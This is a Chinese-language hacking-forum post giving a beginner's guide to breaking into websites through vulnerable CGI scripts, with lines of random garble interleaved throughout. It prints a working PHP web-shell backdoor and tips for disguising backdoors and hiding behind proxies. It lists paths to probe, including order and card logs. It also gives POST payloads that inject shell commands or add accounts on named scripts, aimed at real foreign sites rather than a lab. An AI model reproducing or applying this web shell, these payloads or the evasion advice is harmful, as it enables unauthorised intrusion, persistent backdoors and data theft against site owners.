中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
9 c2 d1 o5 g( e) b
大家好 我是bboyhip 只是一名菜菜的exploiter
0 A2 d6 i2 N3 r% L" x
很开心来到贵论坛
. j9 d- G' U; G) l/ T. v
这里让我感觉 很有技术交流的感觉
$ ]7 F# }0 Q6 B) X2 `
我会长长来玩的
+ c' T1 q6 n5 {
前言:
/ B8 V0 \+ d2 e8 i
以下讲解针对欧美日本网站
0 q/ P0 L% i. t, X0 r
當我們在做滲透分析的時候 方法有很多
5 G; n6 x5 Z5 F; G- D
我门都知道 国外伺服器大多是linux 平台
8 a# U% a1 y6 D. c) } _
所以有很多网站程序有6成都会使用cgi 脚本来管理
' u9 R) }$ K5 g0 l3 i9 w5 M
目录为/cgi-bin/
" @9 Q: V( w% ^, e: @) m
. a! `6 P% @ @! K' g% d# a, {/ ~8 `
只是个人在实务上一些经验
; Y9 F$ f$ ^2 J' z0 m _
写的不好 请多多见谅喔
' M2 d2 S# S. ^. Z' H9 L/ W
在这里我简单分为几个部份一定要會的
- N+ p- v; r( M: W; j/ ]; z2 l# s& b
讲解一下
1 k$ p8 Z8 {6 A
让没有基础的人很容易上手
4 |8 p0 |% U9 W" j
, C' i( ~ ^& ^+ {2 Y
以下内容跟帖回复才能看到
! ^1 Z9 E5 [% b" ~
==============================
. i3 z( Z! A& B5 ^; v7 g* O. `
! h! E( X- h9 A1 B# u
第1部份: 何谓Shell?
! z. l" I q( K5 K; D
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
* K8 `3 i9 \& i) a7 a! l. c
A shell is the program which reads user input from the command line and executes actions based upon that input.
8 J0 ?$ }2 A7 k* d
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
3 u+ m& q4 l7 D$ d) U3 h
8 W9 j- E8 y$ z" _" C8 O$ n1 k! q. |
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
1 z% v7 j% S" F1 m
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
0 g1 E, W9 i* D4 A# ?* C$ {8 y
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
& L+ y' Y; H) ? H
- V& L5 t/ O& z3 B1 K
第2部份: Unix 指令
4 \" {. z+ z/ Z. [6 B& @2 H# U
以下是一些常见及重要的指令:
( U5 c; v0 n& r! I
pwd: 显示当前目录, 即是後门/程式所在的位置
1 S+ L2 {/ J: ? H+ o5 N, _
如 /home/www/site.com/cgi-bin/
3 B) b8 q( x& r% `# L. s, m, _
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
3 D& Y+ c$ m" e) x; I+ G# ^- G
ls -al :详细列出档案资料(当前目录)
5 U* E* n8 A) p3 N& k
ls /: 列出根目录
* H3 A3 g U% \1 M! j. z1 c" k
ls /etc: 列出/etc的资料夹及档案
" p& e5 }+ }' ~ w) K/ ~7 I
ls ../ -al: 详细列出上一层的资料夹及档案
, }* N. h" K, ?3 ^
cat: 显示档案内容
/ j9 e8 P( A/ q8 a+ Q
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
5 h& [; }3 ~) f8 L& b
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
$ n2 D8 h: D2 ?; [- f; [
who: 显示谁login 至系统
% P" p# q3 I- [$ v7 O- ^: ~+ s
man: 显示指令用法
; q) e. P8 n& c" r; W
man ls: 显示ls这指令的用法
& p$ h! V% J1 J1 j1 J* B- z8 r
mkdir 建立目录
5 D2 N1 u+ @3 A( J; n
rmdir 删除目录
0 B4 k1 B$ X( H8 x
mv 移动档案
S* U) G2 U! o6 p8 ?+ d1 r
rm 删除档案
4 ^) t$ x4 h* H% u* Q' y
2 y8 v' v- W, C, q( n
第3部份: Shell的使用
3 c% u( R) M9 h, H6 X
例如:
4 O$ H5 \, r: t3 Q) R: j1 R+ r7 p
http://site.com/refer.php
: y; t. _: J& F1 _0 }
这是我的後门, 原代码如下:
# z* h1 j2 Z9 y; N( Z: L3 x
<Form Action="#" Method="POST">
8 i( c4 G' b @3 ^4 r
<Input type="text" name="cmd">
# ^/ r0 v* i; Q- S" {6 R9 ^. F9 |
<Input type="Submit">
2 M$ u1 u: A5 u# S& F4 I
</Form>
3 V( p2 n. S4 E+ q% d: B9 T1 \5 N
<?php
" I" T) |5 N7 d2 g+ @
$cmd = $_POST['cmd'];
; F, E9 _/ h( `1 d3 |9 f
$Output = shell_exec($cmd);
) Q- A+ {3 @" S. H
echo $Output;
) Q, J# _0 P7 X
?>
( k8 a3 a0 g2 O
输入pwd, 可得到绝对路径:
8 U- r# ~" i% J7 k" x1 G5 j
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
. {1 A$ g0 \" V
: i6 |: t" h. e; n7 L! V4 b
第4部份: 注意事项
, i# ], a2 m9 d o
- 使用匿名代理, 保障自己
' m6 a/ \% O0 v. y
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- @% q) w( J- v5 Q, L
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
, E7 z$ k. L' j, y7 y
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
& S- x9 X1 M1 |" [
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
6 `0 B4 p' N$ x1 c. I ]
不容易被发现.
7 x5 _9 i- O, K0 a& R3 {
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
$ q" w ^, b3 F) n! t: T
针对网站的渗透分析方法太多了
$ f5 {! E; i+ _% v& a
这篇文章的重点是cgi 脚本攻击
+ k5 w6 ?/ ~3 |+ r1 M" V
所以我用简单的叙述形容
- M0 e$ y+ T0 g7 N1 Q6 e
开始讲解脚本入侵过程:
x; v5 S' x: d" ^
在这里提供一些方法思路让大家学习一下
0 j1 m+ k8 b; p; ]. O7 h, k
0 ~; j% r" C4 w# c2 ~) @$ V& M" S
1.一开始对一个网站进行cgi漏洞扫描
% J6 D- ?) l" X C3 S% w) x. E
我们需要的东西有
3 W8 s& E* v& T+ r
扫洞工具 如:triton..等等
# |. f: N, Y+ S" o( I
E表
5 T) M# @# N( v* `
如
8 P9 _$ D( G7 S$ y0 N+ E. o
/cgi-bin/add-passwd.cgi
; ~9 V; P* @4 z7 d# y
/WebShop/templates/cc.txt
( `+ i" m$ C2 B2 ?( _6 H u
/Admin_files/order.log
* I f: _+ B, y) o& M8 \: [
/orders/mountain.cfg
5 y# N5 r% b1 W4 J% ^
/cgi-sys/cart.pl
7 L: D1 J% t* }; ^
/scripts/cart.pl
t" o1 Z5 k3 O6 |! F# q$ y
/htbin/cart.pl
- Q9 O+ D( a; q" |. V+ h* B
E表来源可以是网路收寻或是自己的0 day
; y2 a7 ~$ b* P& K: l
: ?5 X! y- ^5 h
2.怎样确认扫到的洞 是真的还假的?
9 g, v: }/ W1 z! n' J8 s7 h# a% V
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
. o2 N/ N! }' ]/ `
一般都是在IE里先看一下的,记住这个返回码哦
, W5 h8 _. ?- E% C
ERROR:This script should be referenced with a METHOD of POST.
- Q9 q; d6 n! A5 h( p2 q
没有返回一定是假的
3 N( B7 P( i" _
3.重来来了 很多人都会问我
- Y" T' |, l& x# T' o) S- `+ X* k
他扫到很多洞 但是不会使用
# d3 u3 P t- R7 H
因为这些漏洞 使用的语法 称为post
+ F- _" ^2 v6 x. L2 ?. N6 d- G
我们要找post 的方法很多
- V' X! k: ]& \# {9 u5 n! \
可以是源代码分析 找出介质
/ S, c; l+ E& h. b
或是用抓包工具 抓他的语法...等等
5 W; s4 e2 V$ B$ U, n6 g$ N
( R9 a; y. ~9 \2 g8 W; B0 X
以下我提供10个 cgi 洞以及使用方法post
9 v3 o% Q# `/ i E
让大家可以针对网站去做扫描
# C6 n, u8 q4 d7 M R6 V6 M
/index.cgi
' M. n& c1 ~) X) x: q3 N4 }. ]7 F# W8 n
wei=ren&gen=command
; e: G8 X; Q, c% n6 K$ n
/passmaster.cgi
, i: {3 c* {" v" J
Action=Add&Username=Username&Password=Password
1 d0 Q; V7 f, A0 K, X- |* T' Y4 w
/accountcreate.cgi
/ l7 ?, {2 p! W! T( A! i
username=username&password=password&ref1=|echo;ls|
( D4 }+ l! t" Q# D8 B3 R" e
/form.cgi
! P& G, x0 t7 E; k5 m" |
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
' s! j) _% ^8 {# _2 m# N) r
/addusr.pl
8 B+ h3 G/ g1 ]; ~5 L% w. M
/cgi-bin/EuroDebit/addusr.pl
: C6 \3 y! B9 | E
user=username&pass=Password&confirm=Password
, J* b( z" \8 p% W; g
/ccbill-local.asp
4 D; d; f- F" W& A
post_values=username:password
7 W* ]3 Z/ h4 A. w& C& f7 q* F2 R q
/count.cgi
9 k+ U7 G* N5 Z" s
pinfile=|echo;ls -la;exit|
z6 l# _& U, ^
/recon.cgi
- D+ C0 N* `/ ~, `
/recon.cgi?search
& h1 M# d* C3 l
searchoption=1&searchfor=|echo;ls -al;exit|
0 o6 n2 `0 P; b" @6 p0 L5 b
/verotelrum.pl
% ]* ^) s+ z0 U; y- q- D% i
vercode=username:password:dseegsow:add:amount<&30>
; _3 N! }- k1 e
/af.cgi_browser_out=|echo;ls -la;exit;|
% Y; _% ^" C4 D( }. f4 B; @# O- ~
5 p- m: A* k5 y ~, X2 I
今天就讲到这 感谢大家支持
$ W* `" _8 ?2 ^9 z4 _# s
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2